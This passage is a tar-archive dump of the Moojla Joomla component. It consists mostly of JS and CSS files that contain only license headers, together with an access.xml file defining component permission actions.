/------------------------------------------------------------------------------------------------------*/
js/tag.js000064400000002020151156421320006263
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/tag_instance.js000064400000002031151156421320010151
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instance.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/user_field_map.js000064400000002033151156421320010472
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_field_map.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/user_map.js000064400000002025151156421330007331
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_map.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
pusher/index.html000064400000000054151156421330010047
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>pusher/js/index.html000064400000000054151156421330010463
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>access.xml000064400000042011151165724360006537
0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_moojla">
<section name="component">
<action name="core.admin" title="JACTION_ADMIN"
description="JACTION_ADMIN_COMPONENT_DESC" />
<action name="core.options"
title="JACTION_OPTIONS"
description="JACTION_OPTIONS_COMPONENT_DESC" />
<action name="core.manage" title="JACTION_MANAGE"
description="JACTION_MANAGE_COMPONENT_DESC" />
<action name="core.export"
title="COM_MOOJLA_EXPORT_DATA"
description="COM_MOOJLA_EXPORT_DATA_DESC" />
<action name="core.import"
title="COM_MOOJLA_IMPORT_DATA"
description="COM_MOOJLA_IMPORT_DATA_DESC" />
<action name="core.batch"
title="COM_MOOJLA_USE_BATCH"
description="COM_MOOJLA_USE_BATCH_DESC" />
<action name="core.version"
title="COM_MOOJLA_EDIT_VERSIONS"
description="COM_MOOJLA_EDIT_VERSIONS_DESC" />
<action name="core.create" title="JACTION_CREATE"
description="JACTION_CREATE_COMPONENT_DESC" />
<action name="core.delete" title="JACTION_DELETE"
description="JACTION_DELETE_COMPONENT_DESC" />
<action name="core.edit" title="JACTION_EDIT"
description="JACTION_EDIT_COMPONENT_DESC" />
<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="JACTION_ACCESS_EDITSTATE_DESC" />
<action name="core.edit.own"
title="JACTION_EDITOWN"
description="JACTION_EDITOWN_COMPONENT_DESC" />
<action name="core.edit.value"
title="JACTION_EDITVALUE"
description="JACTION_EDITVALUE_COMPONENT_DESC" />
<action name="core.edit.created_by"
title="COM_MOOJLA_EDIT_CREATED_BY"
description="COM_MOOJLA_EDIT_CREATED_BY_DESC" />
<action name="core.edit.created"
title="COM_MOOJLA_EDIT_CREATED_DATE"
description="COM_MOOJLA_EDIT_CREATED_DATE_DESC" />
<action name="category_map.batch"
title="COM_MOOJLA_CATEGORIES_MAP_BATCH_USE"
description="COM_MOOJLA_CATEGORIES_MAP_BATCH_USE_DESC" />
<action name="category_map.version"
title="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION"
description="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION_DESC" />
<action name="cohort.batch"
title="COM_MOOJLA_COHORTS_BATCH_USE"
description="COM_MOOJLA_COHORTS_BATCH_USE_DESC" />
<action name="cohort.dashboard_list"
title="COM_MOOJLA_COHORTS_DASHBOARD_LIST"
description="COM_MOOJLA_COHORTS_DASHBOARD_LIST_DESC" />
<action name="cohort.version"
title="COM_MOOJLA_COHORTS_EDIT_VERSION"
description="COM_MOOJLA_COHORTS_EDIT_VERSION_DESC" />
<action name="cohort.submenu"
title="COM_MOOJLA_COHORTS_SUBMENU"
description="COM_MOOJLA_COHORTS_SUBMENU_DESC" />
<action name="content.batch"
title="COM_MOOJLA_CONTENTS_BATCH_USE"
description="COM_MOOJLA_CONTENTS_BATCH_USE_DESC" />
<action name="content.version"
title="COM_MOOJLA_CONTENTS_EDIT_VERSION"
description="COM_MOOJLA_CONTENTS_EDIT_VERSION_DESC" />
<action name="course.contents"
title="COM_MOOJLA_COURSE_CONTENTS_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_CONTENTS_BUTTON_ACCESS_DESC" />
<action name="course.fetch"
title="COM_MOOJLA_COURSE_FETCH_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_FETCH_BUTTON_ACCESS_DESC" />
<action name="course.fetch_moojla_enrolment"
title="COM_MOOJLA_COURSE_FETCH_MOOJLA_ENROLMENT_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_FETCH_MOOJLA_ENROLMENT_BUTTON_ACCESS_DESC"
/>
<action name="course_field_mapper.access"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_ACCESS"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_ACCESS_DESC" />
<action name="course_field_mapper.batch"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_USE"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_BATCH_USE_DESC"
/>
<action name="course_field_mapper.dashboard_list"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_DASHBOARD_LIST"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_DASHBOARD_LIST_DESC"
/>
<action name="course_field_mapper.version"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION_DESC"
/>
<action name="course_field_mapper.export"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_EXPORT"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_EXPORT_DESC" />
<action name="course_field_mapper.import"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_IMPORT"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_IMPORT_DESC" />
<action name="course_field_mapper.submenu"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_SUBMENU"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_SUBMENU_DESC" />
<action name="course_group_map.fetch"
title="COM_MOOJLA_COURSE_GROUP_MAP_FETCH_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_GROUP_MAP_FETCH_BUTTON_ACCESS_DESC"
/>
<action name="course_group_map.migrate_from_joomdle"
title="COM_MOOJLA_COURSE_GROUP_MAP_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_GROUP_MAP_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS_DESC"
/>
<action name="course_group_map.batch"
title="COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_USE"
description="COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_USE_DESC" />
<action name="course_group_map.dashboard_list"
title="COM_MOOJLA_COURSE_GROUP_MAPS_DASHBOARD_LIST"
description="COM_MOOJLA_COURSE_GROUP_MAPS_DASHBOARD_LIST_DESC"
/>
<action name="course_group_map.version"
title="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION"
description="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION_DESC"
/>
<action name="course_group_map.submenu"
title="COM_MOOJLA_COURSE_GROUP_MAPS_SUBMENU"
description="COM_MOOJLA_COURSE_GROUP_MAPS_SUBMENU_DESC" />
<action name="course.migrate_from_joomdle"
title="COM_MOOJLA_COURSE_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_MIGRATE_FROM_JOOMDLE_BUTTON_ACCESS_DESC"
/>
<action name="course.modules"
title="COM_MOOJLA_COURSE_MODULES_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_MODULES_BUTTON_ACCESS_DESC" />
<action name="course.sections"
title="COM_MOOJLA_COURSE_SECTIONS_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_SECTIONS_BUTTON_ACCESS_DESC" />
<action name="course.sync_tag"
title="COM_MOOJLA_COURSE_SYNC_TAG_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_SYNC_TAG_BUTTON_ACCESS_DESC" />
<action name="course.update_courses"
title="COM_MOOJLA_COURSE_UPDATE_COURSES_BUTTON_ACCESS"
description="COM_MOOJLA_COURSE_UPDATE_COURSES_BUTTON_ACCESS_DESC"
/>
<action name="course.access"
title="COM_MOOJLA_COURSES_ACCESS"
description="COM_MOOJLA_COURSES_ACCESS_DESC" />
<action name="course.batch"
title="COM_MOOJLA_COURSES_BATCH_USE"
description="COM_MOOJLA_COURSES_BATCH_USE_DESC" />
<action name="course.create"
title="COM_MOOJLA_COURSES_CREATE"
description="COM_MOOJLA_COURSES_CREATE_DESC" />
<action name="course.dashboard_list"
title="COM_MOOJLA_COURSES_DASHBOARD_LIST"
description="COM_MOOJLA_COURSES_DASHBOARD_LIST_DESC" />
<action name="course.delete"
title="COM_MOOJLA_COURSES_DELETE"
description="COM_MOOJLA_COURSES_DELETE_DESC" />
<action name="course.edit"
title="COM_MOOJLA_COURSES_EDIT"
description="COM_MOOJLA_COURSES_EDIT_DESC" />
<action name="course.edit.own"
title="COM_MOOJLA_COURSES_EDIT_OWN"
description="COM_MOOJLA_COURSES_EDIT_OWN_DESC" />
<action name="course.version"
title="COM_MOOJLA_COURSES_EDIT_VERSION"
description="COM_MOOJLA_COURSES_EDIT_VERSION_DESC" />
<action name="course.export"
title="COM_MOOJLA_COURSES_EXPORT"
description="COM_MOOJLA_COURSES_EXPORT_DESC" />
<action name="course.import"
title="COM_MOOJLA_COURSES_IMPORT"
description="COM_MOOJLA_COURSES_IMPORT_DESC" />
<action name="course.submenu"
title="COM_MOOJLA_COURSES_SUBMENU"
description="COM_MOOJLA_COURSES_SUBMENU_DESC" />
<action name="enrolment.fetch_enrolments"
title="COM_MOOJLA_ENROLMENT_FETCH_ENROLMENTS_BUTTON_ACCESS"
description="COM_MOOJLA_ENROLMENT_FETCH_ENROLMENTS_BUTTON_ACCESS_DESC"
/>
<action name="enrolment.batch"
title="COM_MOOJLA_ENROLMENTS_BATCH_USE"
description="COM_MOOJLA_ENROLMENTS_BATCH_USE_DESC" />
<action name="enrolment.dashboard_list"
title="COM_MOOJLA_ENROLMENTS_DASHBOARD_LIST"
description="COM_MOOJLA_ENROLMENTS_DASHBOARD_LIST_DESC" />
<action name="enrolment.version"
title="COM_MOOJLA_ENROLMENTS_EDIT_VERSION"
description="COM_MOOJLA_ENROLMENTS_EDIT_VERSION_DESC" />
<action name="enrolment.submenu"
title="COM_MOOJLA_ENROLMENTS_SUBMENU"
description="COM_MOOJLA_ENROLMENTS_SUBMENU_DESC" />
<action name="healthcheck.access"
title="COM_MOOJLA_HEALTH_CHECK_ACCESS"
description="COM_MOOJLA_HEALTH_CHECK_ACCESS_DESC" />
<action name="healthcheck.dashboard_list"
title="COM_MOOJLA_HEALTH_CHECK_DASHBOARD_LIST"
description="COM_MOOJLA_HEALTH_CHECK_DASHBOARD_LIST_DESC" />
<action name="healthcheck.submenu"
title="COM_MOOJLA_HEALTH_CHECK_SUBMENU"
description="COM_MOOJLA_HEALTH_CHECK_SUBMENU_DESC" />
<action name="languagetranslation.access"
title="COM_MOOJLA_LANGUAGE_TRANSLATION_ACCESS"
description="COM_MOOJLA_LANGUAGE_TRANSLATION_ACCESS_DESC" />
<action name="languagetranslation.dashboard_list"
title="COM_MOOJLA_LANGUAGE_TRANSLATION_DASHBOARD_LIST"
description="COM_MOOJLA_LANGUAGE_TRANSLATION_DASHBOARD_LIST_DESC"
/>
<action name="languagetranslation.submenu"
title="COM_MOOJLA_LANGUAGE_TRANSLATION_SUBMENU"
description="COM_MOOJLA_LANGUAGE_TRANSLATION_SUBMENU_DESC" />
<action name="module.batch"
title="COM_MOOJLA_MODULES_BATCH_USE"
description="COM_MOOJLA_MODULES_BATCH_USE_DESC" />
<action name="module.version"
title="COM_MOOJLA_MODULES_EDIT_VERSION"
description="COM_MOOJLA_MODULES_EDIT_VERSION_DESC" />
<action name="section.batch"
title="COM_MOOJLA_SECTIONS_BATCH_USE"
description="COM_MOOJLA_SECTIONS_BATCH_USE_DESC" />
<action name="section.version"
title="COM_MOOJLA_SECTIONS_EDIT_VERSION"
description="COM_MOOJLA_SECTIONS_EDIT_VERSION_DESC" />
<action name="tag_instance.access"
title="COM_MOOJLA_TAG_INSTANCES_ACCESS"
description="COM_MOOJLA_TAG_INSTANCES_ACCESS_DESC" />
<action name="tag_instance.batch"
title="COM_MOOJLA_TAG_INSTANCES_BATCH_USE"
description="COM_MOOJLA_TAG_INSTANCES_BATCH_USE_DESC" />
<action name="tag_instance.dashboard_list"
title="COM_MOOJLA_TAG_INSTANCES_DASHBOARD_LIST"
description="COM_MOOJLA_TAG_INSTANCES_DASHBOARD_LIST_DESC" />
<action name="tag_instance.version"
title="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION"
description="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION_DESC" />
<action name="tag_instance.submenu"
title="COM_MOOJLA_TAG_INSTANCES_SUBMENU"
description="COM_MOOJLA_TAG_INSTANCES_SUBMENU_DESC" />
<action name="tag.access"
title="COM_MOOJLA_TAGS_ACCESS"
description="COM_MOOJLA_TAGS_ACCESS_DESC" />
<action name="tag.batch"
title="COM_MOOJLA_TAGS_BATCH_USE"
description="COM_MOOJLA_TAGS_BATCH_USE_DESC" />
<action name="tag.dashboard_list"
title="COM_MOOJLA_TAGS_DASHBOARD_LIST"
description="COM_MOOJLA_TAGS_DASHBOARD_LIST_DESC" />
<action name="tag.version"
title="COM_MOOJLA_TAGS_EDIT_VERSION"
description="COM_MOOJLA_TAGS_EDIT_VERSION_DESC" />
<action name="tag.submenu"
title="COM_MOOJLA_TAGS_SUBMENU"
description="COM_MOOJLA_TAGS_SUBMENU_DESC" />
<action name="user_field_map.batch"
title="COM_MOOJLA_USER_FIELDS_MAP_BATCH_USE"
description="COM_MOOJLA_USER_FIELDS_MAP_BATCH_USE_DESC" />
<action name="user_field_map.dashboard_list"
title="COM_MOOJLA_USER_FIELDS_MAP_DASHBOARD_LIST"
description="COM_MOOJLA_USER_FIELDS_MAP_DASHBOARD_LIST_DESC"
/>
<action name="user_field_map.version"
title="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION"
description="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION_DESC" />
<action name="user_field_map.submenu"
title="COM_MOOJLA_USER_FIELDS_MAP_SUBMENU"
description="COM_MOOJLA_USER_FIELDS_MAP_SUBMENU_DESC" />
<action name="user_map.fetch_joomla_users"
title="COM_MOOJLA_USER_MAP_FETCH_JOOMLA_USERS_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_FETCH_JOOMLA_USERS_BUTTON_ACCESS_DESC"
/>
<action name="user_map.fetch_moodle_users"
title="COM_MOOJLA_USER_MAP_FETCH_MOODLE_USERS_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_FETCH_MOODLE_USERS_BUTTON_ACCESS_DESC"
/>
<action name="user_map.sync_to_joomla"
title="COM_MOOJLA_USER_MAP_SYNC_TO_JOOMLA_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_SYNC_TO_JOOMLA_BUTTON_ACCESS_DESC"
/>
<action name="user_map.sync_to_moodle"
title="COM_MOOJLA_USER_MAP_SYNC_TO_MOODLE_BUTTON_ACCESS"
description="COM_MOOJLA_USER_MAP_SYNC_TO_MOODLE_BUTTON_ACCESS_DESC"
/>
<action name="user_map.batch"
title="COM_MOOJLA_USER_MAPS_BATCH_USE"
description="COM_MOOJLA_USER_MAPS_BATCH_USE_DESC" />
<action name="user_map.dashboard_list"
title="COM_MOOJLA_USER_MAPS_DASHBOARD_LIST"
description="COM_MOOJLA_USER_MAPS_DASHBOARD_LIST_DESC" />
<action name="user_map.version"
title="COM_MOOJLA_USER_MAPS_EDIT_VERSION"
description="COM_MOOJLA_USER_MAPS_EDIT_VERSION_DESC" />
<action name="user_map.export"
title="COM_MOOJLA_USER_MAPS_EXPORT"
description="COM_MOOJLA_USER_MAPS_EXPORT_DESC" />
<action name="user_map.import"
title="COM_MOOJLA_USER_MAPS_IMPORT"
description="COM_MOOJLA_USER_MAPS_IMPORT_DESC" />
<action name="user_map.submenu"
title="COM_MOOJLA_USER_MAPS_SUBMENU"
description="COM_MOOJLA_USER_MAPS_SUBMENU_DESC" />
</section>
<section name="course">
<action name="course.access"
title="COM_MOOJLA_COURSES_ACCESS"
description="COM_MOOJLA_COURSES_ACCESS_DESC" />
<action name="course.edit"
title="COM_MOOJLA_COURSES_EDIT"
description="COM_MOOJLA_COURSES_EDIT_DESC" />
<action name="course.edit.own"
title="COM_MOOJLA_COURSES_EDIT_OWN"
description="COM_MOOJLA_COURSES_EDIT_OWN_DESC" />
<action name="course.delete"
title="COM_MOOJLA_COURSES_DELETE"
description="COM_MOOJLA_COURSES_DELETE_DESC" />
<action name="course.create"
title="COM_MOOJLA_COURSES_CREATE"
description="COM_MOOJLA_COURSES_CREATE_DESC" />
<action name="course.version"
title="COM_MOOJLA_COURSES_EDIT_VERSION"
description="COM_MOOJLA_COURSES_EDIT_VERSION_DESC" />
</section>
<section name="course_field_mapper">
<action name="course_field_mapper.version"
title="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION"
description="COM_MOOJLA_COURSE_FIELDS_MAPPER_EDIT_VERSION_DESC"
/>
</section>
<section name="user_map">
<action name="user_map.version"
title="COM_MOOJLA_USER_MAPS_EDIT_VERSION"
description="COM_MOOJLA_USER_MAPS_EDIT_VERSION_DESC" />
</section>
<section name="user_field_map">
<action name="user_field_map.version"
title="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION"
description="COM_MOOJLA_USER_FIELDS_MAP_EDIT_VERSION_DESC" />
</section>
<section name="course_group_map">
<action name="course_group_map.version"
title="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION"
description="COM_MOOJLA_COURSE_GROUP_MAPS_EDIT_VERSION_DESC"
/>
</section>
<section name="enrolment">
<action name="enrolment.version"
title="COM_MOOJLA_ENROLMENTS_EDIT_VERSION"
description="COM_MOOJLA_ENROLMENTS_EDIT_VERSION_DESC" />
</section>
<section name="tag">
<action name="tag.version"
title="COM_MOOJLA_TAGS_EDIT_VERSION"
description="COM_MOOJLA_TAGS_EDIT_VERSION_DESC" />
</section>
<section name="tag_instance">
<action name="tag_instance.version"
title="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION"
description="COM_MOOJLA_TAG_INSTANCES_EDIT_VERSION_DESC" />
</section>
<section name="section">
<action name="section.version"
title="COM_MOOJLA_SECTIONS_EDIT_VERSION"
description="COM_MOOJLA_SECTIONS_EDIT_VERSION_DESC" />
</section>
<section name="module">
<action name="module.version"
title="COM_MOOJLA_MODULES_EDIT_VERSION"
description="COM_MOOJLA_MODULES_EDIT_VERSION_DESC" />
</section>
<section name="content">
<action name="content.version"
title="COM_MOOJLA_CONTENTS_EDIT_VERSION"
description="COM_MOOJLA_CONTENTS_EDIT_VERSION_DESC" />
</section>
<section name="category_map">
<action name="category_map.version"
title="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION"
description="COM_MOOJLA_CATEGORIES_MAP_EDIT_VERSION_DESC" />
</section>
<section name="cohort">
<action name="cohort.version"
title="COM_MOOJLA_COHORTS_EDIT_VERSION"
description="COM_MOOJLA_COHORTS_EDIT_VERSION_DESC" />
</section>
<section name="category.courses">
<action name="core.create" title="JACTION_CREATE"
description="JACTION_CREATE_COMPONENT_DESC" />
<action name="core.delete" title="JACTION_DELETE"
description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
<action name="core.edit" title="JACTION_EDIT"
description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
<action name="core.edit.own"
title="JACTION_EDITOWN"
description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
</section>
<section name="fieldgroup">
<action name="core.create" title="JACTION_CREATE"
description="COM_FIELDS_GROUP_PERMISSION_CREATE_DESC" />
<action name="core.delete" title="JACTION_DELETE"
description="COM_FIELDS_GROUP_PERMISSION_DELETE_DESC" />
<action name="core.edit" title="JACTION_EDIT"
description="COM_FIELDS_GROUP_PERMISSION_EDIT_DESC" />
<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_FIELDS_GROUP_PERMISSION_EDITSTATE_DESC" />
<action name="core.edit.own"
title="JACTION_EDITOWN"
description="COM_FIELDS_GROUP_PERMISSION_EDITOWN_DESC" />
<action name="core.edit.value"
title="JACTION_EDITVALUE"
description="COM_FIELDS_GROUP_PERMISSION_EDITVALUE_DESC" />
</section>
<section name="field">
<action name="core.delete" title="JACTION_DELETE"
description="COM_FIELDS_FIELD_PERMISSION_DELETE_DESC" />
<action name="core.edit" title="JACTION_EDIT"
description="COM_FIELDS_FIELD_PERMISSION_EDIT_DESC" />
<action name="core.edit.state"
title="JACTION_EDITSTATE"
description="COM_FIELDS_FIELD_PERMISSION_EDITSTATE_DESC" />
<action name="core.edit.value"
title="JACTION_EDITVALUE"
description="COM_FIELDS_FIELD_PERMISSION_EDITVALUE_DESC" />
</section>
</access>assets/css/admin.css000064400000002112151165724360010446
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage admin.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
.no-click {
pointer-events: none;
}
assets/css/categories_map.css000064400000002057151165724360012350
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage categories_map.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/category_map.css000064400000002055151165724360012036
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage category_map.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/cohort.css000064400000002047151165724360010663
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohort.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/cohorts.css000064400000002050151165724360011040
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohorts.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
/* CSS Document */
assets/css/content.css000064400000002050151165724360011031
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage content.css
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
